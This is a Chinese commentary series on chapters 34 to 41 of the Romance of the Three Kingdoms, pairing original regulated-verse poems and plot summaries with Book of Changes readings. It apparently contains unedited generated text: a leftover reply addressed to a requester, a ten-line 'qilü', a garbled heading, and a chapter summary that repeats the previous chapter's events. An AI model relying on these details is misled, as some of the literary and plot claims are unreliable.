    跃马过檀溪：刘备在被蔡瑁追杀时，骑着的卢马来到檀溪边，前无去路后有追兵，在绝境中，的卢马神奇地一跃三丈，驮着刘备飞过檀溪，使刘备得以逃脱。这一典故体现了刘备的福运以及的卢马的神异，也成为了《三国演义》中的经典情节。


    二、《命运的交织与权谋的棋局——从周易哲学看〈蔡夫人隔屏听密语 刘皇叔跃马过檀溪〉》


    在《三国演义》第三十四回“蔡夫人隔屏听密语 刘皇叔跃马过檀溪”中，一段充满权谋、猜忌与惊险的故事徐徐展开。而透过周易哲学的深邃视角，我们能够更深入地洞察其中的人物命运、权谋算计以及世事的无常与变幻。


    蔡夫人，这个在故事中扮演着重要角色的女性，她的行为与决策并非偶然。从周易哲学的角度来看，她的存在与行动反映了阴阳相互作用的结果。蔡夫人代表着阴的一面，她的阴谋、算计与嫉妒，是阴性力量在权谋斗争中的体现。她隔着屏风偷听刘备与刘表的对话，这种暗中窥视的行为


    ，正体现了阴的隐秘性与渗透性。


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 第35章 玄德南漳逢隐沦，单福新野遇英主

    一、七律诗解析:“德南漳逢隐沦，单福新野遇英：


    （一）《玄德逢贤》


    南漳幸遇隐沦贤，水镜高谈妙论传。


    马跃檀溪逃厄难，途逢单福遇英缘。


    卧龙雏凤言犹在，明主求贤志愈坚。


    新野初迎良辅至，三分天下梦初圆。


    （二）解释：


    首联“南漳幸遇隐沦贤，水镜高谈妙论传”：刘备在南漳幸运地遇到了司马徽这位隐居的贤士，司马徽高谈阔论，向刘备传达了许多精妙的见解，比如“伏龙、凤雏，两人得一，可安天下”的言论。


    颔联“马跃檀溪逃厄难，途逢单福遇英缘”：刘备骑马跃过檀溪逃脱了蔡瑁的追杀之厄，在归途中遇到了单福（徐庶），这是他与贤才相遇的缘分。


    颈联“卧龙雏凤言犹在，明主求贤志愈坚”：司马徽提及的卧龙、凤雏的话语还在刘备耳边回响，这也让刘备求贤若渴的志向愈发坚定。


    尾联“新野初迎良辅至，三分天下梦初圆”：在新野，刘备初次迎来了像单福这样的良臣辅佐，他三分天下的梦想开始有了初步实现的可能。这也为后续故事的发展埋下了伏笔。


    （三）《三国演义》第35回名为“玄德南漳逢隐沦，单福新野遇英主”，以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    刘备逃脱蔡瑁追杀：刘备在荆州刘表处驻守新野，遭到荆州本土势力代表蔡瑁的猜忌与防范。蔡瑁设“鸿门宴”欲除刘备，刘备得荆州谋士伊籍提醒，从西门出逃。蔡瑁引军追赶，赵云发现刘备不见后，出城追寻。刘备骑马跃过檀溪，逃过一劫。


    刘备遇司马徽：跃马过溪后的刘备，迤逦望南漳策马而行，日暮时分遇到一牧童。牧童告知刘备其师父是司马徽，道号水镜先生。刘备便随牧童去拜见司马徽。司马徽指出刘备之所以落魄，是因为左右不得经纶济世之才，并说“伏龙、凤雏，两人得一，可安天下”，但不肯明示具体是谁，只让刘备留宿一晚，明日再说。


    刘备回新野遇徐庶：刘备当晚思索水镜先生的话，难以入眠。次日，刘备求见水镜先生询问昨夜来客是谁，水镜先生只说此人已去投明主。刘备拜请水镜先生出山相助，水镜先生称自己乃山野闲散之人，不堪世用，自有胜他十倍之人来助刘备。正谈论间，赵云寻到刘备，刘备便与赵云返回新野。途中遇到关羽、张飞，众人相见大喜。回到新野后，刘备与孙乾等商议，孙乾建议先致书于刘表，诉告蔡瑁设谋相害之事。不久，在新野城外，徐庶（化名单福）以唱歌的方式吸引了刘备的注意，随后成为刘备的军师。


    2. 主要人物：


    刘备：本回故事的核心人物，处于困境中不断寻求贤才以图大业，他的仁德、求贤若渴在此回中表现得淋漓尽致。


    司马徽：号水镜先生，是一位隐士高人，对天下局势有着深刻的洞察，向刘备提及“伏龙、凤雏，两人得一，可安天下”，为后续故事的发展埋下伏笔。


    徐庶：化名单福，有王佐之才，主动来投刘备，成为刘备的军师，初次登场便展现出不凡的谋略。


    赵云：对刘备忠心耿耿，发现刘备不见后，急忙追寻，是刘备的得力战将。


    蔡瑁：荆州本土势力的代表，忌惮刘备，欲加害于他，是本回中刘备遭遇困境的始作俑者。


    3. 经典诗句及典故：


    经典诗句：“天地反覆兮，火欲殂；大厦将崩兮，一木难扶。山谷有贤兮，欲投明主；明主求贤


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    兮，却不知吾。”这是徐庶所唱之歌，既表达了对汉室江山行将倾覆的悲叹，又体现出对明主的渴望。


    典故：


    马跃檀溪：刘备在蔡瑁的追杀下，骑马跃过檀溪，这一情节凸显了刘备的吉人天相以及的卢马的神勇，也为后续故事的发展增添了传奇色彩。


    伏龙、凤雏得一可安天下：司马徽向刘备提及“伏龙、凤雏，两人得一，可安天下”，伏龙指诸葛亮，凤雏指庞统。此典故成为《三国演义》中的一个重要伏笔，也为刘备后续的求贤之路指明了方向。


    二、《周易哲学视角下的风云际会——玄德南漳逢隐沦，单福新野遇英主》


    在历史的长河中，总有一些时刻充满了神秘与传奇，“玄德南漳逢隐沦，单福新野遇英主”便是其中之一。这一情节不仅展现了历史的波澜壮阔，更蕴含着周易哲学的深邃智慧。


    《周易》作为中国古代哲学的重要经典，以其对变化与平衡的深刻洞察，为我们解析这一历史场景提供了独特的视角。


    玄德，即刘备，他的命运如同周易中的阴阳变化，起伏不定。在南漳的相遇，仿佛是命运的安排，也是他人生中的一次重要转折。在周易哲学中，阴阳相互依存、相互转化，刘备的经历也正是如此。他曾经历过困顿与挫折，但每一次的低谷都孕育着新的机遇。


    隐沦，在此处可以看作是一种隐藏的力量和智慧。这与周易中的“潜龙勿用”有着相似之处。在时机尚未成熟之时，隐藏自己的实力和意图，等待合适的时机再展现出来。刘备在南漳与隐沦的相遇，或许正是他领悟到了这种潜藏的力量，为他日后的发展奠定了基


    础。


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 第36章 玄德用计袭樊城，元直走马荐诸葛

    一、七律诗《周易智慧在〈三国演义〉中的映照——以玄德袭樊城、元直荐诸葛为例》：


    （一）《玄元之智映三国》


    周易玄妙蕴智谋，三国风云展壮猷。


    玄德袭城筹策妙，元直荐亮义情稠。


    阴阳变幻时局转，动静相生运势悠。


    易理深含天下事，英雄逐鹿写春秋。


    （二）诠释：


    诗的首联“周易玄妙蕴智谋，三国风云展壮猷”，点明了周易智慧与《三国演义》的紧密联系，以及其中所展现的宏大谋略和壮志豪情。


    颔联“玄德袭城筹策妙，元直荐亮义情稠”，具体描述了刘备用计袭樊城和徐庶走马荐诸葛这两个情节，体现了刘备的智谋和徐庶的忠义。


    颈联“阴阳变幻时局转，动静相生运势悠”，则是从周易哲学的角度，解读了三国局势的变化无常，以及在动与静之间的相互转化，展现了局势的发展和运势的起伏。


    尾联“易理深含天下事，英雄逐鹿写春秋”，强调了周易智慧所蕴含的对天下大势的理解，以及英雄们在三国这个历史舞台上竞相角逐、谱写辉煌篇章的壮丽景象。


    整首诗通过对《三国演义》中具体情节的描绘，结合周易哲学的阐释，展现了一幅波澜壮阔的历史画卷，表达了对三国英雄和历史智慧的敬仰与赞颂。


    （三）《三国演义》第36回名为“玄德用计袭樊城，元直走马荐诸葛”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    刘备在蔡瑁的算计下惊险逃脱，来到司马徽的草堂。司马徽向刘备介绍了伏龙、凤雏，称得其一可安天下，刘备对这两人充满好奇与向往。


    回到新野后，自称单福的人前来投奔刘备。单福智谋超群，为刘备出谋划策，在与曹仁部队的交锋中妙计频出，击败曹军，还助刘备袭取了樊城，曹仁与李典败走。


    程昱告知曹操单福其实是徐庶。曹操为得徐庶，假借其母书信将他骗往许都。徐庶得知真相，虽悲愤但无奈前往。临走前，徐庶向刘备极力推荐隆中卧龙先生诸葛亮，称其有经天纬地之才，定能助刘备成就大业，刘备将此事牢记心中。


    2. 主要人物：


    刘备：以仁德闻名，礼贤下士，渴望得到贤才辅佐以成就大业。在本回中，他信任并重用徐庶，展现了其识人之明，在徐庶离开时虽不舍但仍以仁义待之。


    徐庶：本名徐元直，因避难改名单福。他足智多谋，为刘备屡立战功，但因孝顺，被曹操以其母为要挟骗至许都。他心怀忠义，临走时向刘备推荐诸葛亮。


    曹操：奸雄形象，为扩充自己的势力不择手段，听闻徐庶之才后，用计将其赚至自己阵营。


    程昱：曹操的谋士，智谋过人，识破了徐庶的身份，并为曹操出谋划策获取徐庶。


    3. 经典诗句：“痛恨高贤不再逢，临岐泣别两情浓。片言却似春雷震，能使南阳起卧龙。”此诗是后人称赞徐庶走马荐诸葛的诗句。它生动地表现了徐庶与刘备分别时的不舍之情，以及徐庶推荐诸葛亮这一行为的重要性，仿佛春雷一般，为刘备带来了新的希望，也为诸葛亮的出山埋下了伏笔。


    4. 典故：


    八门金锁阵：曹仁为对付刘备布下此阵，此阵由八个门组成，生门、死门等相互呼应，变


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    化复杂。赵云在徐庶的指点下，率领五百将士破了此阵，展现了徐庶的军事才能和智谋。


    徐庶进曹营——一言不发：徐庶因母亲被曹操所挟，被迫前往曹营。但他心怀忠义，发誓不为曹操设一谋，这一典故体现了徐庶的忠诚和坚守气节。


    二、《周易智慧在〈三国演义〉中的映照——以玄德袭樊城、元直荐诸葛为例》


    《三国演义》第 36 回“玄德用计袭樊城，元直走马荐诸葛”，这一情节不仅展现了复杂的政治权谋与军事策略，更蕴含着深刻的哲学思考。通过运用周易哲学的视角来深度解析这一情节，可以发现其中所蕴含的变化之道、阴阳平衡以及时势与人才的相互作用。


    在这一回中，刘备的经历充分体现了周易中“变易”的思想。刘备在蔡瑁的算计下险些丧命，但他能够随机应变，巧妙逃脱，展现了其在困境中灵活应对的能力。这种变易并非盲目地改变，而是在对形势有清晰认识的基础上做出的调整。就如同周易中所说的“穷则变，变则通”，刘备在面对危机时，没有墨守成规，而是积极寻求改变，从而为自己赢得了生机。


    同时，徐庶的出现与离去也反映了周易中的“阴阳”观念。徐庶智谋过人，为刘备出谋划策，帮助他取得了一系列胜利，这可以看作是“阳”的力量。然而，曹操以徐庶母亲为要挟，迫使他离开刘备，这体现了“阴”的一面。阴阳相互依存、相互转化，在徐庶的身上得到了生动体现。他的到来为刘备带来了希望，他的离去又让刘备陷入了困境，这种阴阳的交替变化使得故事更加富有戏剧性。


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 第37章 司马徽再荐名士，刘玄德三顾草庐

    一、七律诗《三顾茅庐的周易哲学：名士与贤主的相遇》：


    （一）《三顾茅庐悟易玄》


    三顾茅庐意韵绵，风云际会易中玄。


    潜龙勿用待时起，贤主诚心觅俊贤。


    雪舞寒天寻圣策，情牵大计共筹篇。


    阴阳燮理乾坤定，名士恩承辅世缘。


    （二）诠释：


    诗的首联“三顾茅庐意韵绵，风云际会易中玄”，点明了“三顾茅庐”这一事件所蕴含的深远意蕴，以及其中所体现的周易哲学的玄妙。


    颔联“潜龙勿用待时起，贤主诚心觅俊贤”，描述了刘备如同潜龙一般，在等待时机崛起，同时他怀着诚挚的心去寻找杰出的人才，如同在周易中等待合适的时机。


    颈联“雪舞寒天寻圣策，情牵大计共筹篇”，展现了刘备在风雪中寻找治国良策的艰辛，以及他与诸葛亮共同谋划大计的情景。


    尾联“阴阳燮理乾坤定，名士恩承辅世缘”，表达了通过阴阳的协调来安定天下，体现了诸葛亮这位名士承蒙刘备的恩情，辅佐他成就功业的缘分。整首诗以“三顾茅庐”为背景，深入诠释了其中的周易哲学内涵和名士与贤主的相遇之美。


    （三）《三国演义》第37回名为“司马徽再荐名士，刘玄德三顾草庐”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    首次拜访不遇：刘备的谋士徐庶因曹操以其母相胁，被迫离开刘备前往曹营。徐庶临走前向刘备推荐了诸葛亮，称其有经天纬地之才。刘备准备好礼物后，与关羽、张飞一同前往隆中卧龙岗拜访诸葛亮。到了诸葛亮的住所，却从童子处得知诸葛亮早上已出远门，不知何时归来，刘备无奈只好返回，途中遇到诸葛亮的好友崔州平，二人在树林间的山石上交谈许久，刘备请求崔州平出山协助，被崔州平拒绝。


    二次拜访仍空返：过了些日子，刘备得知诸葛亮回家的消息，第二次前往卧龙岗。当时正值寒冬，风雪交加，张飞提出返回，但刘备想借此天气让诸葛亮看到自己求贤的诚意，拒绝了张飞的提议。快到草庐时，刘备听到有两人唱和，便下马请教，得知二人是颍川石广元和汝南孟公威，都是诸葛亮的好友。随后刘备见到了诸葛亮的弟弟诸葛均，诸葛均说哥哥受崔州平邀请出去游玩了。刘备给诸葛亮留了封信，表明自己的志向及还会再来拜访的决心后离开。


    三次拜访终得见：又过了一段时间，刘备沐浴斋戒，第三次去拜访诸葛亮。三人骑马前往隆中，在距离草庐半里之外，刘备就下马步行。正好遇到诸葛均，得知诸葛亮已返回草庐。刘备赶到草庐，看门的童子告知诸葛亮正在草堂上睡觉，刘备制止童子禀报，站在草堂台阶下等候。过了半晌诸葛亮才醒，吟了一首诗：“大梦谁先觉？平生我自知。草堂春睡足，窗外日迟迟。”之后诸葛亮更衣出来与刘备相见。


    2. 主要人物：


    刘备：蜀汉开国皇帝，字玄德，弘毅宽厚，知人待士，百折不挠，一心想要兴复汉室，求贤若渴。


    诸葛亮：字孔明，号卧龙，三国时期蜀汉丞相，有济世之才，潜身全志、不慕名利。


    关羽：刘备的义弟，武艺高强，忠义勇猛，跟随刘备一起拜访诸葛亮。


    张飞：刘备的义弟，性格鲁莽直率，但也敬重有才能的人，陪同刘备三顾茅庐。


    司马徽：字德操，人称“水镜先生”，向刘备叙述


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    了诸葛亮的才能，是再荐名士之人。


    崔州平：诸葛亮的好友，与刘备在途中相遇，拒绝了刘备的邀请。


    石广元：诸葛亮的好友，刘备二次拜访诸葛亮时遇到。


    孟公威：诸葛亮的好友，同石广元一起被刘备遇到。


    诸葛均：诸葛亮的弟弟，告知刘备诸葛亮的行踪。


    3. 经典诗句：


    “独善其身尽日安，何须千古名不朽！”此句体现出一种自在逍遥、不追求千古留名的心境，在一定程度上也反映出当时一些隐士的心态。


    “一夜北风寒，万里彤云厚。长空雪乱飘，改尽江山旧。仰面观太虚，疑是玉龙斗。纷纷鳞甲飞，顷刻遍宇宙。”这首诗是对隆冬雪景的描写，意境磅礴大气，出现在刘备二访隆中时，衬托出刘备求贤之路的艰辛以及他的坚定信念。


    4. 典故：这一回主要的典故就是“三顾茅庐”。指东汉末年刘备三次前往诸葛亮所住草庐，请他出山辅佐自己的故事。该典故后来成为形容求贤若渴的成语，被赋予了诚心诚意一再邀请的含义。


    二、《三顾茅庐的周易哲学：名士与贤主的相遇》


    《三国演义》第 37 回“司马徽再荐名士，刘玄德三顾草庐”，这一情节不仅是一段扣人心弦的历史故事，更是蕴含着深刻的周易哲学智慧。


    在周易哲学中，变化是永恒的主题。刘备的谋士徐庶因曹操的威胁而离开，这一事件引发了一系列的变化。就如同周易中的卦象变化，每一爻的变动都可能带来新的局势和机遇。徐庶的离去，看似是刘备的损失，但却为他与诸葛亮的相遇埋下了伏笔。


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 第38章 定三分隆中决策，战长江孙氏报仇

    一、七律诗:《周易哲学视角下的“定三分隆中决策，战长江孙氏报仇”》：


    （一）《易理三分决策明》


    隆中对里论乾坤，易理三分智蕴深。


    龙卧南阳思济世，孙谋江左欲图存。


    阴阳互化谋前路，刚柔相济定此身。


    决策初成天下势，风云际会待时新。


    （二）解析：


    首联：“隆中对里论乾坤，易理三分智蕴深”，点明在隆中的这场决策探讨的是天下的局势，诸葛亮提出的三分天下之策蕴含着深厚的智慧，而这种智慧与《周易》中对事物变化规律的认识相契合，为后文的阐述奠定基础。


    颔联：“龙卧南阳思济世，孙谋江左欲图存”，“龙卧南阳”指的是诸葛亮隐居南阳等待明主，心怀济世之才；“孙谋江左”则说的是孙权在江东谋划，想要巩固和扩张自己的势力，以此来实现生存和发展，这两种行为都是基于对自身处境和天下大势的思考与应对。


    颈联：“阴阳互化谋前路，刚柔相济定此身”，体现了《周易》中的阴阳哲学观念。阴阳相互转化，如同天下局势的变化，诸葛亮的决策和孙权的行动都是在不断地根据局势的变化进行调整，以达到自己的目标；刚柔相济则表示在面对不同的情况时，既要有坚定的决心和强硬的手段，也要有灵活的策略和柔和的态度，这也是诸葛亮和孙权在各自的决策和行动中所体现出来的特点。


    尾联：“决策初成天下势，风云际会待时新”，强调了隆中决策和孙权战长江的行动对天下局势的影响，三分天下的局势初步形成，而未来的发展还需要等待时机的变化，充满了不确定性和挑战，也暗示了各方势力在未来的竞争中还将继续发挥自己的智慧和力量。


    当然，对于这样的主题可以有多种不同的创作角度和表达方式，以上只是一种示例，你可以根据自己的理解进行修改和完善。


    （三）《三国演义》第38回名为“定三分隆中决策，战长江孙氏报仇”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    刘备三顾茅庐见诸葛亮：刘备不听关羽、张飞劝阻，第三次前往隆中拜访诸葛亮。离草庐半里之外，便下马步行。到了草庐，得知诸葛亮正在昼寝，刘备不让小童通报，而是拱立阶下耐心等待。张飞大怒，欲放火烧屋，被关羽劝住。过了很久，诸葛亮才醒来，见刘备如此诚恳，便与他相见。


    诸葛亮隆中对：诸葛亮被刘备的诚意所打动，决定出山相助。他向刘备分析天下大势，提出“三分天下”的战略构想，即曹操占据北方，孙权占据江东，刘备可先取荆州为立足之地，再取益州，联合孙权对抗曹操，待机谋取中原，成就霸业。刘备听后，对诸葛亮钦佩不已，犹如鱼得水。


    孙权战黄祖：孙权继承父兄基业，广纳贤士。其弟孙翊为丹阳太守，因性情刚烈、嗜酒且鞭打士卒，不得人心，遭人杀害。孙权商议欲伐黄祖，甘宁投靠孙权，并献计策。孙权听从甘宁之计，领十万大军破江夏，打败黄祖。


    2. 主要人物：


    刘备：求贤若渴，为成就霸业三次拜访诸葛亮，对诸葛亮的才能极为钦佩，以诚恳的态度打动了诸葛亮，最终得到诸葛亮的辅佐。


    诸葛亮：有济世之才，胸怀大志，隐居隆中却心系天下。他为刘备分


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    析局势，制定“三分天下”的战略蓝图，是智慧的化身。


    孙权：东吴之主，继承父兄基业，广纳贤才，有雄心壮志，欲扩张东吴势力，攻打黄祖以报父仇。


    张飞：刘备的三弟，性格鲁莽暴躁，但对刘备忠心耿耿。在三顾茅庐过程中，因诸葛亮久睡不醒，张飞性急，欲放火烧屋，但被关羽劝住。


    关羽：刘备的二弟，重义气，有勇有谋。在三顾茅庐时，能理解刘备的求贤之心，劝住张飞的鲁莽行为。


    甘宁：原为黄祖部将，后投靠孙权，有勇有谋，为孙权攻打黄祖出谋划策。


    3. 经典诗句：


    “身未升腾思退步，功成应忆去时言。只因先主丁宁后，星落秋风五丈原。”其大意为：还没有飞黄腾达就为自己的将来做好准备，等到建立功业后就归因隆中。但是刘备死后托孤使得诸葛亮无法脱身，最后病死在五丈原。此句暗示了诸葛亮一生为蜀汉鞠躬尽瘁，最终未能实现统一中原的遗憾。


    “南阳卧龙有大志，腹内雄兵分正奇。只因徐庶临行语，茅庐三顾心相知。先生尔时年三九，收拾琴书离陇亩。先取荆州后取川，大展经纶补天手。纵横舌上鼓风雷，谈笑胸中换星斗。龙骧虎视安乾坤，万古千秋名不朽。”这几句诗生动地描绘了诸葛亮的志向、才能以及刘备三顾茅庐后诸葛亮决定出山的情景，高度赞扬了诸葛亮的智慧和抱负。


    4. 典故：


    三顾茅庐：刘备三次前往隆中拜访诸葛亮，体现了刘备求贤若渴、礼贤下士的品质，也成为后世招揽人才、尊重人才的典范。


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 第39章 荆州城公子三求计，博望坡军师初用兵

    一、七律诗《周易哲学视角下的“荆州城公子三求计，博望坡军师初用兵”解析》


    （一）《七律·周易哲思解析计兵》


    荆州公子求谋际，博望坡前战策奇。


    易理深藏天地变，玄机暗蕴鬼神知。


    孔明妙计安危难，曹魏雄兵陷困危。


    世事如棋皆有定，阴阳转化蕴禅思。


    （二）诠释：


    诗的首联“荆州公子求谋际，博望坡前战策奇”，描述了刘琦在荆州城三次求计以及诸葛亮在博望坡初次用兵的情景，突出了其计策的奇妙。


    “易理深藏天地变，玄机暗蕴鬼神知”这一联，指出周易哲学中蕴含着天地变化的道理和神秘莫测的玄机，暗示了其在事件中的重要作用。


    “孔明妙计安危难，曹魏雄兵陷困危”，展现了诸葛亮的智谋使刘备一方化险为夷，而曹魏大军陷入困境。


    “世事如棋皆有定，阴阳转化蕴禅思”，则表达了世间万事如同棋局有其定数，同时蕴含着周易中阴阳相互转化的哲理和思考。整首诗通过对这一情节的诠释，体现了周易哲学的深邃与智慧。


    （三）《三国演义》第39回名为“荆州城公子三求计，博望坡军师初用兵”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    东吴方面：孙权督众攻打夏口，黄祖兵败将亡，弃江夏望荆州而走。甘宁于东门外伏兵等候，拦住黄祖并将其射死，枭首献于孙权。孙权重赏三军，升甘宁为都尉。苏飞曾对甘宁有恩，被囚于槛车内，甘宁向孙权求情救苏飞，孙权赦免苏飞，止将黄祖首级祭献，祭毕设宴庆功。宴会上，凌统因甘宁在江夏时射死他父亲凌操，欲杀甘宁，被孙权劝住，随后孙权派甘宁领兵往夏口镇守，加封凌统为承烈都尉。


    荆州方面：刘表请刘备赴荆州议事，席间刘琦向刘备求救，因其继母不容，性命危在旦夕。刘备推托，刘琦又问计于诸葛亮，诸葛亮起初不愿参与他人骨肉之事，后刘琦将诸葛亮骗至小楼，撤去楼梯，再三请求，诸葛亮以春秋时申生、重耳之事为例，建议刘琦向刘表请求屯兵守江夏以避祸，刘琦照做，刘表令其引兵三千前往江夏镇守。


    曹操方面：曹操罢三公之职，自以丞相兼之，聚武将商议南征。夏侯惇进言刘备在新野每日教演士卒，必为后患，可早图之。曹操命夏侯惇为都督，于禁、李典、夏侯兰、韩浩为副将，领兵十万，直抵博望城，以窥新野。


    刘备方面：刘备自得孔明后，以师礼待之，关羽、张飞二人不悦。曹操派夏侯惇引兵十万杀奔新野，刘备召关羽、张飞商议迎敌之策，张飞想让孔明前去迎敌。孔明早已定下计策，命关羽在豫山埋伏，放过大队，待曹军粮草队经过时出击；张飞在安林后山谷埋伏，见南面起火便去烧博望城旧屯粮草；关平、刘封带火在博望坡后两边放火。夏侯惇果然中计，大败而回。


    2. 主要人物：


    诸葛亮：刘备的军师，初出茅庐便展现出非凡的智谋，在博望坡一战中用计大败夏侯惇，奠定了自己在刘备阵营中的地位。


    刘备：字玄德，蜀汉政权的开创者，以仁德闻名，此时依附于刘表，在新野招兵买马。他对诸葛亮十分信任，将其视为自己成就大业的关键人物。


    关羽：字云长，刘备的结义兄弟，武艺高强，忠义之士。起初对诸葛亮有所不满，但在博望坡之战后对其大为敬佩。


    张飞：字翼德，刘备的结义兄弟


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    ，性急鲁莽，勇猛过人。对诸葛亮的能力持怀疑态度，后被诸葛亮的才能折服。


    夏侯惇：曹操麾下大将，性格勇猛但轻敌自负，不听徐庶之言，执意要擒刘备、诸葛亮，结果在博望坡中了诸葛亮的计。


    刘琦：刘表的长子，因继母蔡夫人加害，向诸葛亮求计，得以屯兵江夏避祸。


    孙权：东吴之主，在这一回中击败黄祖，占据夏口，后听从张昭之言，班师回江东。


    甘宁：东吴将领，勇猛善战，射死黄祖，立下大功，又为报恩向孙权求情救苏飞。


    凌统：东吴将领，凌操之子，因父仇欲杀甘宁，后被孙权劝止。


    3. 经典诗句及典故：


    诗句：文中没有特定的新创作的经典诗句，但《三国演义》开篇的《临江仙·滚滚长江东逝水》可作为一种呼应主题的经典诗词参考，其词为“滚滚长江东逝水，浪花淘尽英雄。是非成败转头空。青山依旧在，几度夕阳红。白发渔樵江渚上，惯看秋月春风。一壶浊酒喜相逢。古今多少事，都付笑谈中。”此词以宏观的视角，表达了对历史变迁、英雄人物兴衰的感慨，与第39回中各方势力的纷争、人物的命运起伏相契合。


    典故：这一回中提到了“申生、重耳之事”。申生是春秋时期晋献公的儿子，重耳是申生的弟弟。晋献公宠爱骊姬，骊姬欲立自己的儿子奚齐为太子，便陷害申生。申生为人忠厚，不愿反抗，最终自杀身亡。而重耳则被迫流亡在外，历经艰难险阻，后在秦国的帮助下回到晋国，成为一代霸主。诸葛亮以这两人的故事为例，暗示刘琦离开荆州这个是非之地，前往江夏才能保存性命，日后或有机会成就一番事业。


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 第40章 蔡夫人议献荆州 诸葛亮火烧新野

    一、七律诗《周易哲学视角下的荆州风云与新野之火》：


    （一）《周易哲学视角下的荆州风云与新野之火》


    荆州风云变幻中，周易哲理蕴其中。


    蔡氏献荆私欲动，诸葛纵火智谋宏。


    阴阳燮理乾坤转，刚柔并济事竟成。


    天道循环人道悟，千秋史册载威名。


    （二）诠释：


    诗的首联“荆州风云变幻中，周易哲理蕴其中”，点明了荆州之地所发生的动荡局势，同时指出其中蕴含着周易哲学的道理。


    颔联“蔡氏献荆私欲动，诸葛纵火智谋宏”，描述了蔡夫人出于私欲议献荆州的行为，以及诸葛亮运用智谋火烧新野的壮举。


    颈联“阴阳燮理乾坤转，刚柔并济事竟成”，进一步阐释了周易中阴阳调和、刚柔相济的哲学观念，以及它们在事件中的体现和作用。


    尾联“天道循环人道悟，千秋史册载威名”，表达了对天道循环这一规律的感悟，以及这些事件将在历史长河中留下赫赫威名的意义。


    整首诗以周易哲学为视角，深入剖析了“蔡夫人议献荆州，诸葛亮火烧新野”这一情节，展现了其中的智慧与深意。


    （三）《三国演义》第 40 回名为“蔡夫人议献荆州 诸葛亮火烧新野”，以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    曹操兴师与孔融之死：夏侯惇在博望坡被诸葛亮打败后，曹操决定兴兵五十万南征。太中大夫孔融劝谏曹操，说刘备、刘表皆汉室宗亲，不可轻伐，曹操大怒，叱退孔融。孔融出府后仰天感叹，其言被郗虑家客听到并告知郗虑，郗虑因常被孔融侮慢而怀恨在心，便将此事告知曹操，曹操遂杀了孔融全家。


    荆州易主与刘琮降曹：荆州刘表病重，使人请玄德来托孤，想让刘琦任荆州之主，但刘表死后，蔡夫人与蔡瑁、张允商议，假写遗嘱，立次子刘琮为荆州主。刘琮在蒯越等人劝说下，决定将荆襄九郡献与曹操，曹操大喜，命刘琮永为荆州之主。


    刘备弃新野与火烧新野：刘备不愿诱杀刘琮以夺荆州，在诸葛亮的指挥下，决定率领军队和新野百姓弃新野而移兵樊城，使新野成为一座空城。曹仁大军进入新野城后，诸葛亮诱使曹军入城，然后火烧新野。曹仁刚脱了火厄，又见赵云赶军杀来。关羽又在上游放水，将曹军冲得七零八落，曹军大败。


    2. 主要人物：


    刘备：以仁德着称，刘表托孤时他拒绝夺取荆州，坚守道义。面对曹操大军压境，听从诸葛亮的安排，带领百姓转移。


    诸葛亮：足智多谋，指挥若定。提前安排百姓撤离新野，在城中设下火计，又用水攻配合，大败曹军，充分展现了其卓越的军事才能。


    蔡夫人：刘表的后妻，自私自利，为了让自己的儿子刘琮继位，与蔡瑁、张允等人勾结，篡改刘表遗嘱，后又劝刘琮投降曹操。


    刘琮：刘表的小儿子，懦弱无能，在蔡夫人和大臣们的劝说下投降曹操。


    曹操：奸雄形象，野心勃勃，为了统一天下，不顾孔融的劝谏，执意南征。


    孔融：正直的大臣，敢于劝谏曹操不要兴不义之师，但最终被曹操杀害。


    3. 经典诗句：“奸雄曹操守中原，九月南征到汉川。风伯怒临新野县，祝融飞下焰摩天。”此诗生动地描绘了曹操南征以及诸葛亮火烧新野的场景，将曹操的奸雄形象和火烧新野


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    的壮观场面展现得淋漓尽致。“风伯”和“祝融”本是神话中的风神和火神，这里用来形容狂风和大火，增加了诗句的艺术感染力。


    4. 典故：


    蔡夫人议献荆州：这一情节反映了当时荆州内部的政治斗争和权力争夺。蔡夫人为了让自己的儿子掌握荆州，不惜违背刘表的遗愿，与蔡瑁等人勾结，最终将荆州拱手献给曹操，成为三国局势变化的一个重要转折点。


    诸葛亮火烧新野：是诸葛亮出山后的又一次精彩表现，与之前的“火烧博望坡”一起，奠定了他在刘备军中的重要地位，也让曹操见识到了他的厉害，为后续的赤壁之战等情节埋下了伏笔。


    二、《周易哲学视角下的荆州风云与新野之火》


    在《三国演义》第 40 回“蔡夫人议献荆州 诸葛亮火烧新野”中，一系列波澜壮阔的事件交织在一起，展现出了人性的复杂与权谋的较量。而从周易哲学的深度来解析这一情节，更能揭示其中蕴含的深刻道理和变化规律。


    荆州，自古以来便是兵家必争之地，其地理位置的重要性不言而喻。蔡夫人议献荆州这一事件，体现了周易中“变易”的思想。在政治风云变幻的背景下，蔡夫人为了自身和家族的利益，选择了与曹操合作，将荆州拱手相让。这种变化并非偶然，而是形势所迫，也是人性在权力欲望驱使下的一种表现。


    然而，这种“变易”并非是无序的，而是有着其内在的逻辑和因果关系。蔡夫人的决策看似是为了一时的安稳，但实际上却为后来的局势埋下了隐患。这也提醒我们，在面对变化时，不能仅仅看到眼前的利益，而要从更长远的角度去思考和权衡。


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 第41章 刘玄德携民渡江，赵子龙单骑救主

    一、七律诗《周易哲学视角下的刘玄德携民渡江与赵子龙单骑救主》：


    （二）《周易哲思映史篇》


    周易哲思蕴万千，玄德携民渡江川。


    仁德感召苍生附，大义凛然志愈坚。


    子龙单骑雄风展，浴血奋战敌胆寒。


    阴阳变化玄机显，智勇双全谱华笺。


    英雄气概垂青史，忠义光芒照世传。


    （二）以下是对这首七律诗的诠释：


    诗的首联“周易哲思蕴万千，玄德携民渡江川”，点明了主题，以周易哲学为背景，引出刘玄德携民渡江的情节。


    颔联“仁德感召苍生附，大义凛然志愈坚”，强调了刘备的仁德对百姓的感召力，以及他坚守大义的决心。


    颈联“子龙单骑雄风展，浴血奋战敌胆寒”，描绘了赵子龙单骑救主时的英勇无畏，展现其雄风与豪气。


    尾联“阴阳变化玄机显，智勇双全谱华笺”，指出在这一过程中体现出的周易哲学中阴阳变化的道理，以及刘备和赵云智勇双全的表现。最后“英雄气概垂青史，忠义光芒照世传”，总结了他们的英雄事迹和忠义精神将永载史册，流传千古。


    （三）《三国演义》第41回名为“刘玄德携民渡江，赵子龙单骑救主”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


